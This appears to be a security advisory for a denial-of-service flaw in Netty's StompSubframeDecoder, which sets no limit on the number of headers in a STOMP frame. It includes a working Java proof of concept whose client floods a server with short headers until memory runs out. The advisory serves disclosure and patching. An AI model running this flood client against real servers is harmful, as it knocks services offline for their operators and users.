Vulnerability details
Vulnerability
Data from Dependency-Track
Affected versions
Score
Description
### Summary
The StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, allowing an attacker to cause an OutOfMemoryError, leading to a Denial of Service.
### Details
`io.netty.handler.codec.stomp.StompSubframeDecoder` implements the STOMP protocol. The `maxLineLength` parameter restricts the length of individual header lines, but there is no mechanism to limit the total number of headers in a single STOMP frame. An attacker can send a large number of short headers (e.g., `a: 1\n`), which are accumulated in memory inside the `DefaultStompHeadersSubframe` until the JVM throws an OutOfMemoryError.
### PoC
Run the server with `-Xmx256m`
```java
public final class ServerApp {
public static void main(String[] args) throws Exception {
EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
ChannelFuture serverFuture = new ServerBootstrap()
.group(group)
.channel(NioServerSocketChannel.class)
.childHandler(new StompSubframeDecoder())
.bind(8080)
.sync();
serverFuture.channel().closeFuture().sync();
} finally {
group.shutdownGracefully();
}
}
}
```
```java
public final class ClientApp {
public static void main(String[] args) throws Exception {
try (Socket socket = new Socket("127.0.0.1", 8080)) {
OutputStream out = socket.getOutputStream();
out.write("CONNECT\n".getBytes(StandardCharsets.UTF_8));
StringBuilder sb = new StringBuilder();
for (int i = 0; i < 1000; i++) {
sb.append("a:1\n");
}
byte[] bulkHeaders = sb.toString().getBytes(StandardCharsets.UTF_8);
for (int i = 1; i <= 50_000; i++) {
out.write(bulkHeaders);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
```
### Impact
Denial of Service: An attacker can easily exhaust the server's memory by sending a single malicious STOMP message. Any server exposing a STOMP endpoint based on StompSubframeDecoder is vulnerable to DoS.
Same vulnerability as